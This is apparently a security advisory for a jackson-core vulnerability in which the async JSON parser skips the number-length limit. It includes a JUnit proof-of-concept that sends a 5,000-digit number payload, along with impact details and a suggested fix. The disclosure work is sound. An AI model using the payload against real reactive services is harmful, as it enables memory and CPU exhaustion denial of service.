CVE-2026-18401: jackson-core: Number length constraint bypass in non-blocking (async) JSON parser leads to potential denial of service

Summary The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks. - After parsing, they call valueComplete(), which finalizes the token but does not call resetInt() or resetFloat(). - The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed. - Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

java package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.;

/ POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers Authors: sprabhav7, rohan-repos maxNumberLength default = 1000 characters (digits). A number with more than 1000 digits should be rejected by any parser. BUG: The async parser never calls resetInt()/resetFloat() which is where validateIntegerLength()/validateFPLength() lives. Instead it calls valueComplete() which skips all number length validation. CWE-770: Allocation of Resources Without Limits or Throttling / class AsyncParserNumberLengthBypassTest {

private static final int MAXNUMBERLENGTH = 1000; private static final int TESTNUMBERLENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH); // Output to console System.out.println("[SYNC] Parsing " + TESTNUMBERLENGTH + "-digit number (limit: " + MAXNUMBERLENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TESTNUMBERLENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } }

// VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TESTNUMBERLENGTH);

NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput();

boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUENUMBERINT) { foundNumber = true; String numberText = p.getText(); assertEquals(TESTNUMBERLENGTH, numberText.length(), "Async parser silently accepted all " + TESTNUMBERLENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TESTNUMBERLENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUENUMBERINT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); }

private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF8); } }

Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError. 2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos